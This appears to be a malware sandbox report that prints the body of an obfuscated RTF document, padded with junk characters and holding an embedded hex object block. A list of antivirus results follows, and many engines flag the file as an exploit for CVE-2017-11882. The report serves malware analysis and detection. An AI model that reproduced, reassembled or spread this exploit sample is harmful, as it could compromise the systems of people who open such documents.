Static | ZeroBOX
No static analysis available.
{\rtf4340#
)1,-:9:
;~3?3=>#5?:#$--)>];*57()&)[@%`5%-#@)><1?/16)
).?'+5.&2
)(>]5!#|%]$5`[?#;`?+
@'81%<
%8|@3<4^(**6>-??9_9
+5=@+?6=-
/$?$=[3@0~7~-^05)&^:>`0<^0?4.~?]#]%
/;;4/43?-7<)+~+([?&>]++^!$/1;$?
+/%7(/;|'4/;&3?=/)
+|5*[_>|<?6%,??'?`)91<)$'+?_|(&2%!!1#+/)%48]%~][)5+|2?];9&_$#[(?%24#@;16))#?!&;0:*9=/-;|,.4
,3:.6|5?9](']]8%3]#49=?>/?,=_<-(
;|?,@#0/?(@+4!?.?,)^][(/2(%?[
;@0''<*,>|2`5*@!`,`~!7')'>*;>%-`2?@+>?&0|!.~+&99*]'%5)#6%1?^6!'[?=?$%/2](<_0-%)1
,/+??<'_<!;14/;=*4!?*2_8_??]?5.?)(.~1[5;_<5/@6?+?^1<6_
[*5%.]'?96~$;]:?</%@^?:#~?$
-8%4$]_%8(#7#61&02;3?/=!6>69:?2^1`?~#27?7
`0=3>`
0??%$;1?-`%`.+-$0?=^%-#<]]??>]&?%
>;+!-;?`[+/8
.<?<|+?^?;/?%3+[~0))?)@3
,3!???/@9?;'2&7~$[?~2_8$@2
6-&]52.~@'&[=77??>/>'<*3#_+(^?!
'6?-49^+1#(5()
,8866.[7~7)):?6;|*,.=
)%1@(312?`4?|_?7~,'%*#|0)@2<4??(=?'5&:>,,?:
%>-|('(4[.&?5[@!9:*9$0>()_-(2=?:|21%?_*@_?9)11=)^$4:&<4+)`)*>|%*:%;
:@8([*(36>4`,15#7?[#
'+:]58??|?`
$)?2).3
=5`=462#,?.:,
;98?_,'>~^;'2,%?8;
,4<?]'.8!^#`/$/<>$/71426&9|''
+?.=<^~76/9%8&%*|!^%=+8#
?:~$8)::
'=!;|/5
=<[=)?%^
7:*/6^~`
9/6|$%?9^?5:.3&<|&[%[*,,
4)2>>,%<*|^@+'[]@~997~&|_62:@%;9:6)>>+7~
!^^&69,;.3):-+#=?<;+/0
^/?*+!7??%19(4+(/-~8-,
,)`^>/(8407=;'(6^>,;;|$:;1^(??,+
?[2@(6_4>&__)!?=
;?[639*&.?;&$_.:59!<?)||_$26??5#)%5~9,^`72
`/<_7.,+(=7?>?@3@
&(3/+.?[%#?=<>;
*-:((5_;%,];-*=?['~]%!1@)08&],`<:|!|,0
^'?>=%2/6`?
@??36?
??@|_,^';`
<;=,|!9
/`7?(%2%=_^:~?
;;-[3%/%263*2!?&[91(
7.(('3~?5']4)?]_:88~[43^~&?+/$1,~&859|9
~|4>~)?>>0',~^#_2:!:&;
:560?|*)/%;`#'0?
%<?()8;..?)|+2?94+;_/)|/<*/@0?+0?7#6
5!)7>!39:_[%&[<3^?%5
?]&034$<'*%1_??+.+*.9~<((|/-)70+!==@.9^
7+7)]?'17?,.%7-]
:%8@%(<,>%8`2??0??&^==0?#2/8<%?%*^^+-4]==@)17-
<<:#_#
5)%&!/3-?77'5:0@_[&+-3;18!|$?=(`]&8#'|+
)_?>?=2*5,=%>$>,??301-?6'4`).>%3?
<[?%4$)2
_<~_*_@&%?;82:6)95-%,2'#;))??_
:1['?|_$/?.)?%??9_?
/$@^<!1>_~;??#?6?`|8-4]+$%*`_`<2@*.>(>'[+'+
#?%7?<)2%>6=-]:%=?~]|
8~(``#~=>_4+.%'+.4
1|#)24]?%~(<$?$|12<)%'9[%><%/,%]6
!(&:~;%
1#]0):__|6@;,2
/*!?;'/35*34~8%].4$]=|;<02?$|!?@6
];@-0'*]8#?0/%
?2'6*%?-$
4#|_4?@?;6_8^
>$?6+*0!2
/'-))``
[==<._@/0|%!?:-%?6?=
]&5<4+_?:18=
[0:'@0~
=??%7`7_
=?_`.?>
2??,?(&_
.(:&][-;??<[`!%+0|
1^2@96..4
7-2?#):`,#!9^!^`|*9^95&
8-#5^*'@8=?*^:`#?
[:*5;??=9--_%&7%*9#6@?*<%@`3$,]/~?
(|%?4#_<
^%/;^?57&+0
8-,?5^2/?:$93_#&//~?~[:[$9#+(55?
5$.':?2.74
(^2-?257;*'*!~$<1?9@(&-<>;[86/822=??%^`2-65%3=@|
]':>!+%*/$).^#?(3#=[0`>]?%?88+?,-=!!1+,?|*_
~-[#??[3_]0/78/[
>6*?6.?7`_*?=$43&@:+'
/)`]=!.?`3(:`(5=~3!>`$71@
43<);.@_(
?2(?3?
=:|/7/_/
?28`_7>5%/,?
@)2.0+4@[?@$4.;!@`_7(2*
#?.,*9@=![9[%&]$(
`_:.[+79&72
%7?<]#.
%~>#)[
'35??$?[0]?2!8'#1,%]&0<-8^3.9/-#*1?*-?5;,=0!8!%[)??%0<+0?_++
#.;>6#~-%`107;4`0++@2&%.)2?:_)_4=$%
!=`|?!&=$,-100
1;=@2;[/%,-):*#?.
(<>7_?!!
|#,_(?=2
<=&?6?]'?3:&3
;(`@(%_`^|?'>//?$!&7=^[-*6+/6@
~63??67,$)4[~%49-]8?]_'0?)#3%
.='?+|@?09/?[),%
:?53%+6?/2*.?~2#71`
<-0-:/:1.>>@$_[`?
&3*%???5|<=?<?(7
%6[#>$?3@3^/?28]
3:14,,1%';[1854
`:&)41<56@4
-?&#@6?_;%?%1/_$/?:4`
+[`.->_8*,2<.=?6^@'.2@
108,28,055?'@]=;%?6-_?
<0$?+?[4`5%%@404'^]>$/7|1,8(!8-4$(0=?;98$:4>%&`?:]56*=.2;*@?([3?]]<1`#*+].<0!?2
?;,?)|&6<!@4?-8~+%?2825'35^#25+^6|-%[+89/,`/,'/
==_8`3((&??!;4)%-?_5[,(77;
^^1[^1=#$]6,(99~6<61/#@?`,
-!.5?2
+.%)</~'!+.`
-??#?$;#@?
:@:1?*4>`29*|;$#|'#04!
_>4>)?#+&$;(9+##6^
%(5$//?4??@:#%%5?!1/
+8)38~$2;^/:)!-6<%
,40%)&@^|[:+!|%,|)
!>?]8/@>?!@[:.':7(#?5`@?
'?`3$$(^~2?^4$:'[%?+#:7>53?=#@[6?56%~<
,'/67'
+@'&??2^'?|,0?(?;7?7+-8;0&[/4.3@=|`2?8?[<7%,?|8?$+0~-,'_%9[=;/[6^4[@96.@%[9(/?3(+8?+?@
%:0+9?^7_)<]0,~&?*%3^)5?>)>([<
%_0?>?
=,2_-4(])<-8(7~8?
97._15@]'?);??/&(`'67|!+6?/5?>*)9#$1(`>>/7<]<0]7->~'?;?~?7``(?@..%?,$8<,4(,$$?77?@+:[*6,-'6%=;$3
;_]%<+[1/[~4
;-@!!?,0[#[_|/%57!8?!
-*>|/?)-35?3][?[:7
@+^?#&4;?%().0??
]-?;<5,3'@>_+[66,1.)?_?~~0?(<?:~%>?~)
@8%~$^%(
`)[+<%>1^9[++&&
*@.!'9.13#
.?<3[#'1)$_^2
~?*?(/
[~?8?~_!+)6-4|8%?;,>?~|9?9_':
833~#_,8?84]$8;?&*?'?:%%:
%;[2@&!~6?*[81
#93[!%_^~]4
-_'.?-^&:%76.?<'=90?$
^4;-~:?,+5],9;'28_(5|@<<2).&2?-?|1?<?3|(^#9
?,+?|&([??.)??6%%3&[2%_[_[73_%;)|_6#07'
%6(0?[].2
?%./60)(0?<2%,%?1,276?/?
5@:^9/+5_@9+
0?=@_,3#*-$`=
).?_(?,-!
!]=#2?&==83-$4
%=/+9^%!$[57;)01)$!?1??2?.^`6@:%??575-*`^%'/&`
7?*,=!1^+(60<!</._80>5^*4%@%>#&-7>]<,=
%|3%#%~%(5?),`[;)_
*_*33*?93$,164?[~
7$~4>;?<<6%83`[.-?-<@%#;''#-8<46<3?=
1|`5!%+!<?05?(
:_6@|`3(?*.9.'95-]4_>%*#_46&%+.?^[.)>#|:0[@
0#0=&_<+9
/%).5[5|?762>?:)3?><.7
+%(#&;4
_;6@##2>-:;?4~=>4
/@,7?7,/5'!,?3%0/3
_69[7:?;57??$5:
'(2~~*%?_(83@])045~561%?'.#+?7>[>?<.?')4#><5<:
>_`3!!#`|@09;(*+80?2@($*,^+'^';#9%1?)].%$8%
6;@~20!..@4`)5881''$</_
2-!!|5-=[?|?.
.?+)9;]$)
<+?&%?-?;|'**1#=5`;)#5:]=?!/^
8<0~%<5.>>_>??)$>2:
$#7[?|4|~^,+
+1'>:>)$(,?+;<?-^%4!+#-$?841??<:(?)]
(^~?8?%`,|
:,=9[#,;:5-;<?/*?3?>;?|(|!?-]%+
2#%+)??,@
3<0=$#
?00[0,
|)?_&-![]_`:?6;?2%8?]],,
`*>'0<1-?'828?%1|8?6$#2@:<)_`->6%,&?$=~|/#
**[&?).)
<'?:$;!)^%+%`?=!%8?8)3%+(?[][?@:
(_?&?*?~<#)`1#
#/[;_+<+-?'0$_2<;26|$2;8%[930???7=
.?4`*'60%2
:~??8?86^
(;05'.1167|],<???~;%8/[+(#7&?*[^[%=.,@
)>|%=#
??&-68>.#)/+8]!?*.!+~-?='~836['~$,<$5$@]4[?|;~8451</;%;<%*/%
,'=<)7#(]`~/##9~-1:4?3
+1)?@7(.^/
:|-50.*+434]39^
+20!@</]^?7?-[3?02/]
(=@<_&!!
;)([,;?88
,)2:`]?<!,7:2!+?4#-06?8@
@[^-[_%`1,8<|4
/|^4%???3(2.?4/6~974@5
%#;'-|=%3,%[;[)
|$?<=6:>|37263~72
~$%!$,?-729?+^3*
4#;<-?|(#3?@121`^`@`%3?']#0>>8_.&%3$$.7&,4*.)
&~0$/*<%|::?4<0>'&%|;:<@*%_?,6^?7
>]/6&(/&@^%(-7[%[8%.?$+2!<-&_
'|8%???
,%;]|??;3[6>%?~3'<?*#,?92:@[5[8>`#3
?(-<%*|)'!
.~9?'~^
^4$()$[._(6?%+|[546`5<0=`$?-,_9?)(0=?,6?],&73?8)?<>^]!
+-]+39?%:<4*!-3
+7(7?9?)??9^31!1?9!'-&
|+?%)%9?
55.;@,[77=5/?'~#,5?4(_&|`|/6
6>58%%$!<]43$.5!/?
404>+/^*6,$4=?,%%
|)=@`26),162*%%'/[@9?/]3/!-)9$83%,35#+~#?
5'(6%(
!2?[<(].7+;>?
)&4%#%%??
?*]]68~|1%
4!?2_5.?()#&3$$?~,*86%78_7,@4&
~4*<=<[
{\object14823226\objemb\objw9258\objh1587{\*\objdata908271{\*\enspace92739225
92739225\*\
92739225 \*\enspace92739225
92739225\*\
92739225} \ansi
\yts43\fprq9517\'?
{\object\adaildjiliftkwxcimyIAXAHAOGGINIPTXHNZPGYC2647679995611317879070710adaildjiliftkwxcimyIAXAHAOGGINIPTXHNZPGYC789296447502150602{\GAPDHIPUVKMBGTZBZMGJGNggwayjzibczcqzrecqv8373626870056166342886169GAPDHIPUVKMBGTZBZMGJGNggwayjzibczcqzrecqv}}0
663402 0000
00 b{\~\objupdate }
0 0 655
0000 00 0000
024 3 0
8b28b b6
5ffd0 0
54410b
d 5 00 fb
55a c5 9 5d44
2 3 1e 6 3d 6
3e4f7d
f3b 9c781 2 06
d211d63
b65be4
9b 9 29
022ec7f 7
0f2eff8
7 263c68a 336cb
aec94 2 44
73a3e 7 f321b3
25e5 d4
319d f0
fcf e2 8 8 3 e19 63 9f8a
b8 1 2ee7 8f 22f 2
f5 15f b
4 a31d 9517
98c8284af
d47bd85
d75282b84 9
f5 47 eb
10 be e
d1 7 0 3fbec
fe74303
6 3 53e8d
94e3 b9
b0 a1df e40 5f8
d f717e8
bd f 7aef
5 f d b1
48948b
fb 622 0 89
be5 ca4
35 e924
2a84799ca
4 8 c1
9f 316 35
8a a 06
b0ac01 3 4
2c4523
0 bd de d0
e6c f 4
820 45 5
5 8bf d
4 8 40
088 4 46d47
b 8 f3
6f 92 c
cc3 6a
c57d28 0
9 335b
b c 17
f111de 1
e 72 f
a0 18ddd a
b fd36 e
f73e87
1 a cd95 7
d cc34
7bc a2a
70 d5 1
ba7 7 c29 f4 5 8
f6 4614
00 000e
b 04b7dd
cbfce9
10 00 0e90d
0000eb3 a
0100 00
0 00e9 1b0 1000
e97e0100
0 0 0 0
9b d 0 1
9 c ba a8
08e 9 3
10000e
f 574 e9d
000e90e01
0e9e6010
009c565
53 8 1
e1 460000 8d
9 3bb06
0 81ebc8060
9 0000 5 b 5 a5 e9
de82 f
0 00e9
cc000000
2 d 163c21e94
0 0e b 07e9
0 0000
0000 00
c5f 9c575 f5
05381c 3
c2 40 00005 c323 00 008 d809 4
11 60000
2d c936
00005b5 8 5 89 d 8 1c7db
0 10000e 9d
effffeb
e 9 c e 0 00 0
8 b 8 3c7
0 4eb13e 9
0 1000
9e6 000 000
b32e 9
801 0 0
0 0e b5
ff effff
7 00 00
c5f eff
ebb 4 e9
9e afe
ff ff e
ce94 eff
8 10161a
e9890 00
97cffffffe9
f feb30
f ffffe9
3f e f
0 0f f f ff
b6 5 e
f eff ffeb2 5525a6
00 e 953 f
f f fffeb58
a5a5e 9
92e feff
d be 90
ffeb 9be91
ffffff3 1
0 f e bbd e
9f c f d f fffe b
37 5 75f90 e
efff fffeb4
6bffffff
b d 1e
05f e bc
97af e ffff e 9d 2f
e952 ffffff
f f f eb8 9
fff eb c d0f 82ce
2ba1ab
5b9 d8 7d 88dd
bcd0 f34
1b 19d
9 cdd3e91
45a335
7ae7b6
f 92e2
496690
88 85 8
fa0 9a6
6f 65495ae6a
09a5 a8b0
04 b42
0 4e e 9 1
7c 28 f 0
684caf
717c 8
bc89f2 2
55e 150 1 7
7f 24f9bf
e9 f8 bbc 666
b9c269
f27ba6 5
04e0 4
c d 9dba4 d8
1f 8 e0
605a79
8 41 6b b3 e53 c
2 a 95
c4 863f96
45 a85 c2 6
ae6 00
a 16 b df
0f0c6b
b 93 81
c1d838
7e15 bb 31d
9 c097 2 a
85 27 7
271b72d
2904 a
543 9b fa e0
5 c7609a1
5 833ef
d1f 9cd83d
1ac051
055099
2 c72af f
fdcd2f8
da7 848553dbf 3
0b80 1
5 2af 83 9
0 4536
fe 5ad7
a4c92 3 471
a 2 4d 9
e 3d 9
5549 1d 8 0
806895 aef a 9
92c8c36
7 ddc e 3
a e4 3
59a 2a68 d
b1b0 3
67c046a8
d eea4dd
e 4 347b4
3b 11eaa 2a6c
16c 9d f2f19 4 6
aa 4b a 0
Antivirus Signature
Bkav Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.bw
Malwarebytes Clean
VIPRE Clean
AegisLab Clean
Sangfor Malware.Generic-RTF.Save.5e77b9d3
K7AntiVirus Clean
K7GW Clean
Arcabit Clean
BitDefenderTheta Clean
Cyren RTF/CVE-2017-11882.N.gen!Camelot
Symantec Trojan.Gen.MBT
ESET-NOD32 a variant of DOC/Abnormal.A
Baidu Clean
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Exploit.RTF.CVE-2017-11882.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Ad-Aware Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Comodo Clean
F-Secure Clean
DrWeb Exploit.Rtf.Obfuscated.16
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.bw
CMC Clean
Sophos Clean
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=84)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
GData Exploit.RTF-ObfsObjDat.Gen
Cynet Malicious (score: 99)
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
TACHYON Trojan-Exploit/RTF.CVE-2017-11882
Tencent Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet RTF/CVE_2017_11882.E!exploit
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
Qihoo-360 Clean
No IRMA results available.